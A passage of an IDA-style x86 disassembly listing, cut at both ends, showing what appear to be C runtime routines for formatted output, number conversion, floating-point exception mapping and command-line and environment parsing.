loc_404247:				; CODE XREF: sub_403D8C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40456B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_404260
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_404265
; ---------------------------------------------------------------------------


loc_404260:				; CODE XREF: sub_403D8C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_404265:				; CODE XREF: sub_403D8C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_404494	; default
; ---------------------------------------------------------------------------


loc_404271:				; CODE XREF: sub_403D8C+2F7j
					; sub_403D8C+40Ej
		or	[ebp+var_4], 40h


loc_404275:				; CODE XREF: sub_403D8C+432j
		mov	[ebp+var_C], 0Ah


loc_40427C:				; CODE XREF: sub_403D8C+491j
					; sub_403D8C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_40428E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_404578
		pop	ecx
		jmp	short loc_4042CF
; ---------------------------------------------------------------------------


loc_40428E:				; CODE XREF: sub_403D8C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_4042B5
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4042AA
		call	sub_40456B
		pop	ecx
		movsx	eax, ax


loc_4042A7:				; CODE XREF: sub_403D8C+527j
					; sub_403D8C+539j
		cdq
		jmp	short loc_4042CF
; ---------------------------------------------------------------------------


loc_4042AA:				; CODE XREF: sub_403D8C+510j
		call	sub_40456B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_4042A7
; ---------------------------------------------------------------------------


loc_4042B5:				; CODE XREF: sub_403D8C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4042C7
		call	sub_40456B
		pop	ecx
		jmp	short loc_4042A7
; ---------------------------------------------------------------------------


loc_4042C7:				; CODE XREF: sub_403D8C+531j
		call	sub_40456B
		pop	ecx
		xor	edx, edx


loc_4042CF:				; CODE XREF: sub_403D8C+500j
					; sub_403D8C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4042F0
		test	edx, edx
		jg	short loc_4042F0
		jl	short loc_4042DF
		test	eax, eax
		jnb	short loc_4042F0


loc_4042DF:				; CODE XREF: sub_403D8C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4042F4
; ---------------------------------------------------------------------------


loc_4042F0:				; CODE XREF: sub_403D8C+547j
					; sub_403D8C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4042F4:				; CODE XREF: sub_403D8C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4042FD
		and	edi, 0


loc_4042FD:				; CODE XREF: sub_403D8C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_40430C
		mov	[ebp+var_10], 1
		jmp	short loc_404310
; ---------------------------------------------------------------------------


loc_40430C:				; CODE XREF: sub_403D8C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_404310:				; CODE XREF: sub_403D8C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_40431A
		and	[ebp+var_1C], 0


loc_40431A:				; CODE XREF: sub_403D8C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_404320:				; CODE XREF: sub_403D8C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_404330
		mov	eax, esi
		or	eax, edi
		jz	short loc_40436B


loc_404330:				; CODE XREF: sub_403D8C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_405CF0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_405C80
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_404361
		add	ebx, [ebp+var_2C]


loc_404361:				; CODE XREF: sub_403D8C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_404320
; ---------------------------------------------------------------------------


loc_40436B:				; CODE XREF: sub_403D8C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_404396
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_404389
		test	eax, eax
		jnz	short loc_404396


loc_404389:				; CODE XREF: sub_403D8C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_404393:				; CODE XREF: sub_403D8C+35Fj
					; sub_403D8C+406j ...
		mov	[ebp+var_C], eax


loc_404396:				; CODE XREF: sub_403D8C+21Bj
					; sub_403D8C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_404494	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4043CE
		test	bh, 1
		jz	short loc_4043B3
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4043C7
; ---------------------------------------------------------------------------


loc_4043B3:				; CODE XREF: sub_403D8C+61Fj
		test	bl, 1
		jz	short loc_4043BE
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4043C7
; ---------------------------------------------------------------------------


loc_4043BE:				; CODE XREF: sub_403D8C+62Aj
		test	bl, 2
		jz	short loc_4043CE
		mov	[ebp+var_16], 20h


loc_4043C7:				; CODE XREF: sub_403D8C+625j
					; sub_403D8C+630j
		mov	[ebp+var_1C], 1


loc_4043CE:				; CODE XREF: sub_403D8C+61Aj
					; sub_403D8C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4043EE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_404502
		add	esp, 10h


loc_4043EE:				; CODE XREF: sub_403D8C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_404533
		add	esp, 10h
		test	bl, 8
		jz	short loc_404420
		test	bl, 4
		jnz	short loc_404420
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_404502
		add	esp, 10h


loc_404420:				; CODE XREF: sub_403D8C+67Bj
					; sub_403D8C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_404467
		cmp	[ebp+var_C], 0
		jle	short loc_404467
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_404435:				; CODE XREF: sub_403D8C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_405C0B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40447C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_404533
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_404435
		jmp	short loc_40447C
; ---------------------------------------------------------------------------


loc_404467:				; CODE XREF: sub_403D8C+698j
					; sub_403D8C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_404533
		add	esp, 10h


loc_40447C:				; CODE XREF: sub_403D8C+6BCj
					; sub_403D8C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_404494 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_404502
		add	esp, 10h


loc_404494:				; CODE XREF: sub_403D8C+68j
					; sub_403D8C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_403DB8


loc_4044A5:				; CODE XREF: sub_403D8C+1Fj
					; sub_403D8C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403D8C	endp

; ---------------------------------------------------------------------------
off_4044AD	dd offset loc_403F2B	; DATA XREF: sub_403D8C+6Er
		dd offset loc_403E01	; jump table for switch	statement
		dd offset loc_403E1C
		dd offset loc_403E68
		dd offset loc_403E9F
		dd offset loc_403EA7
		dd offset loc_403EDC
		dd offset loc_403F6F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044CD	proc near		; CODE XREF: sub_403D8C+1BDp
					; sub_403D8C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4044E6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4044F1
; ---------------------------------------------------------------------------


loc_4044E6:				; CODE XREF: sub_4044CD+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_403C77
		pop	ecx
		pop	ecx


loc_4044F1:				; CODE XREF: sub_4044CD+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4044FE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4044FE:				; CODE XREF: sub_4044CD+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4044CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_404502	proc near		; CODE XREF: sub_403D8C+65Ap
					; sub_403D8C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_404530
		mov	esi, [esp+8+arg_C]


loc_404513:				; CODE XREF: sub_404502+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4044CD
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_404530
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_404513


loc_404530:				; CODE XREF: sub_404502+Bj
					; sub_404502+25j
		pop	edi
		pop	esi
		retn
sub_404502	endp


; =============== S U B	R O U T	I N E =======================================



sub_404533	proc near		; CODE XREF: sub_403D8C+670p
					; sub_403D8C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_404567
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_404549:				; CODE XREF: sub_404533+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4044CD
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_404567
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_404549


loc_404567:				; CODE XREF: sub_404533+Cj
					; sub_404533+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404533	endp


; =============== S U B	R O U T	I N E =======================================



sub_40456B	proc near		; CODE XREF: sub_403D8C+E5p
					; sub_403D8C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_40456B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404578	proc near		; CODE XREF: sub_403D8C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_404578	endp


; =============== S U B	R O U T	I N E =======================================



sub_404588	proc near		; CODE XREF: sub_403D8C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_404588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404596	proc near		; CODE XREF: sub_402BE9+17p
					; sub_402BE9+58p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_4045B4
		mov	ecx, off_4090F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_404606
; ---------------------------------------------------------------------------


loc_4045B4:				; CODE XREF: sub_404596+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4090F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4045D9
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4045E2
; ---------------------------------------------------------------------------


loc_4045D9:				; CODE XREF: sub_404596+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4045E2:				; CODE XREF: sub_404596+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_405D65
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_404602
		leave
		retn
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_404596+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_404606:				; CODE XREF: sub_404596+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_404596	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_404629
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_404629:				; CODE XREF: .packed:0040461Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404644	proc near		; CODE XREF: .packed:00402FC3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_404785
		test	eax, eax
		pop	ecx
		jz	loc_404779
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_404779
		cmp	ebx, 5
		jnz	short loc_404675
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_404782
; ---------------------------------------------------------------------------


loc_404675:				; CODE XREF: sub_404644+23j
		cmp	ebx, 1
		jz	loc_404774
		mov	ecx, dword_409AEC
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_409AEC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_404764
		mov	ecx, dword_409388
		mov	edx, dword_40938C
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_4046C4
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:409318h[esi*4]


loc_4046BB:				; CODE XREF: sub_404644+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_4046BB


loc_4046C4:				; CODE XREF: sub_404644+69j
		mov	eax, [eax]
		mov	esi, dword_409394
		cmp	eax, 0C000008Eh
		jnz	short loc_4046DF
		mov	dword_409394, 83h
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_4046DF:				; CODE XREF: sub_404644+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_4046F2
		mov	dword_409394, 81h
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_4046F2:				; CODE XREF: sub_404644+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_404705
		mov	dword_409394, 84h
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_404644+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_404718
		mov	dword_409394, 85h
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_404718:				; CODE XREF: sub_404644+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_40472B
		mov	dword_409394, 82h
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_40472B:				; CODE XREF: sub_404644+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_40473E
		mov	dword_409394, 86h
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_404644+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_40474F
		mov	dword_409394, 8Ah


loc_40474F:				; CODE XREF: sub_404644+99j
					; sub_404644+ACj ...
		push	dword_409394
		push	8
		call	ebx
		pop	ecx
		mov	dword_409394, esi
		pop	ecx
		pop	esi
		jmp	short loc_40476C
; ---------------------------------------------------------------------------


loc_404764:				; CODE XREF: sub_404644+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_40476C:				; CODE XREF: sub_404644+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_409AEC, eax


loc_404774:				; CODE XREF: sub_404644+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_404782
; ---------------------------------------------------------------------------


loc_404779:				; CODE XREF: sub_404644+Fj
					; sub_404644+1Aj
		push	[ebp+arg_4]
		call	dword_4080B4


loc_404782:				; CODE XREF: sub_404644+2Cj
					; sub_404644+133j
		pop	ebx
		pop	ebp
		retn
sub_404644	endp


; =============== S U B	R O U T	I N E =======================================



sub_404785	proc near		; CODE XREF: sub_404644+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_409390
		cmp	dword_409310, edx
		push	esi
		mov	eax, offset dword_409310
		jz	short loc_4047B2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:409310h[esi*4]


loc_4047A7:				; CODE XREF: sub_404785+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4047B2
		cmp	[eax], edx
		jnz	short loc_4047A7


loc_4047B2:				; CODE XREF: sub_404785+16j
					; sub_404785+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:409310h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4047C5
		cmp	[eax], edx
		jz	short locret_4047C7


loc_4047C5:				; CODE XREF: sub_404785+3Aj
		xor	eax, eax

locret_4047C7:				; CODE XREF: sub_404785+3Ej
		retn
sub_404785	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047C8	proc near		; CODE XREF: sub_402EE0+A5p
		cmp	dword_518688, 0
		jnz	short loc_4047D6
		call	sub_4062B4


loc_4047D6:				; CODE XREF: sub_4047C8+7j
		push	esi
		mov	esi, dword_518680
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_404808


loc_4047E3:				; CODE XREF: sub_4047C8+33j
					; sub_4047C8+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_404800
		test	al, al
		jz	short loc_404800
		movzx	eax, al
		push	eax
		call	sub_405EAE
		test	eax, eax
		pop	ecx
		jz	short loc_4047E3
		inc	esi
		jmp	short loc_4047E3
; ---------------------------------------------------------------------------


loc_404800:				; CODE XREF: sub_4047C8+21j
					; sub_4047C8+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_404812


loc_404805:				; CODE XREF: sub_4047C8+52j
		inc	esi
		jmp	short loc_404812
; ---------------------------------------------------------------------------


loc_404808:				; CODE XREF: sub_4047C8+19j
		cmp	al, 20h
		jbe	short loc_404812


loc_40480C:				; CODE XREF: sub_4047C8+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_40480C


loc_404812:				; CODE XREF: sub_4047C8+3Bj
					; sub_4047C8+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_40481C
		cmp	al, 20h
		jbe	short loc_404805


loc_40481C:				; CODE XREF: sub_4047C8+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_4047C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_404820	proc near		; CODE XREF: sub_402EE0+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_518688, ebx
		push	esi
		push	edi
		jnz	short loc_404832
		call	sub_4062B4


loc_404832:				; CODE XREF: sub_404820+Bj
		mov	esi, dword_409AD8
		xor	edi, edi


loc_40483A:				; CODE XREF: sub_404820+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_404852
		cmp	al, 3Dh
		jz	short loc_404845
		inc	edi


loc_404845:				; CODE XREF: sub_404820+22j
		push	esi
		call	sub_405B90
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_40483A
; ---------------------------------------------------------------------------


loc_404852:				; CODE XREF: sub_404820+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_4028C6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_409A98, esi
		jnz	short loc_404874
		push	9
		call	sub_402FD6
		pop	ecx


loc_404874:				; CODE XREF: sub_404820+4Aj
		mov	edi, dword_409AD8
		cmp	[edi], bl
		jz	short loc_4048B7
		push	ebp


loc_40487F:				; CODE XREF: sub_404820+94j
		push	edi
		call	sub_405B90
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_4048B0
		push	ebp
		call	sub_4028C6
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_4048A3
		push	9
		call	sub_402FD6
		pop	ecx


loc_4048A3:				; CODE XREF: sub_404820+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4062D0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_4048B0:				; CODE XREF: sub_404820+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_40487F
		pop	ebp


loc_4048B7:				; CODE XREF: sub_404820+5Cj
		push	dword_409AD8
		call	sub_402B18
		pop	ecx
		mov	dword_409AD8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_518684, 1
		pop	ebx
		retn
sub_404820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048D9	proc near		; CODE XREF: sub_402EE0+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_518688, ebx
		push	esi
		push	edi
		jnz	short loc_4048F0
		call	sub_4062B4


loc_4048F0:				; CODE XREF: sub_4048D9+10j
		mov	esi, offset dword_409AF0
		push	104h
		push	esi
		push	ebx
		call	dword_408054
		mov	eax, dword_518680
		mov	dword_409AA8, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_404915
		mov	edi, eax


loc_404915:				; CODE XREF: sub_4048D9+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_404972
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_4028C6
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_404945
		push	8
		call	sub_402FD6
		pop	ecx


loc_404945:				; CODE XREF: sub_4048D9+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_404972
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_409A90, esi
		pop	edi
		pop	esi
		mov	dword_409A8C, eax
		pop	ebx
		leave
		retn
sub_4048D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404972	proc near		; CODE XREF: sub_4048D9+47p
					; sub_4048D9+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_40499C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_40499C:				; CODE XREF: sub_404972+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4049E5


loc_4049A1:				; CODE XREF: sub_404972+58j
					; sub_404972+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_4049D3
		test	dl, dl
		jz	short loc_4049D3
		movzx	edx, dl
		test	byte_517421[edx], 4
		jz	short loc_4049C6
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4049C6
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_4049C6:				; CODE XREF: sub_404972+46j
					; sub_404972+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4049A1
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4049A1
; ---------------------------------------------------------------------------


loc_4049D3:				; CODE XREF: sub_404972+36j
					; sub_404972+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4049DD
		and	byte ptr [esi],	0
		inc	esi


loc_4049DD:				; CODE XREF: sub_404972+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_404A28
		inc	eax
		jmp	short loc_404A28
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404972+2Dj
					; sub_404972+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4049F0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4049F0:				; CODE XREF: sub_404972+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_517421[ebx], 4
		jz	short loc_404A0B
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_404A0A
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_404A0A:				; CODE XREF: sub_404972+91j
		inc	eax


loc_404A0B:				; CODE XREF: sub_404972+8Bj
		cmp	dl, 20h
		jz	short loc_404A19
		test	dl, dl
		jz	short loc_404A1D
		cmp	dl, 9
		jnz	short loc_4049E5


loc_404A19:				; CODE XREF: sub_404972+9Cj
		test	dl, dl
		jnz	short loc_404A20


loc_404A1D:				; CODE XREF: sub_404972+A0j
		dec	eax
		jmp	short loc_404A28
; ---------------------------------------------------------------------------


loc_404A20:				; CODE XREF: sub_404972+A9j
		test	esi, esi
		jz	short loc_404A28
		and	byte ptr [esi-1], 0


loc_404A28:				; CODE XREF: sub_404972+6Ej
					; sub_404972+71j ...
		and	[ebp+arg_10], 0


loc_404A2C:				; CODE XREF: sub_404972+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_404B15


loc_404A35:				; CODE XREF: sub_404972+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_404A41
		cmp	dl, 9
		jnz	short loc_404A44


loc_404A41:				; CODE XREF: sub_404972+C8j
		inc	eax
		jmp	short loc_404A35
; ---------------------------------------------------------------------------


loc_404A44:				; CODE XREF: sub_404972+CDj
		cmp	byte ptr [eax],	0
		jz	loc_404B15
		test	edi, edi
		jz	short loc_404A59
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_404A59:				; CODE XREF: sub_404972+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_404A5E:				; CODE XREF: sub_404972+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_404A67:				; CODE XREF: sub_404972+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_404A70
		inc	eax
		inc	ebx
		jmp	short loc_404A67
; ---------------------------------------------------------------------------


loc_404A70:				; CODE XREF: sub_404972+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_404AA1
		test	bl, 1
		jnz	short loc_404A9F
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_404A8E
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_404A8E
		mov	eax, edx
		jmp	short loc_404A91
; ---------------------------------------------------------------------------


loc_404A8E:				; CODE XREF: sub_404972+10Dj
					; sub_404972+116j
		mov	[ebp+arg_0], edi


loc_404A91:				; CODE XREF: sub_404972+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_404A9F:				; CODE XREF: sub_404972+106j
		shr	ebx, 1


loc_404AA1:				; CODE XREF: sub_404972+101j
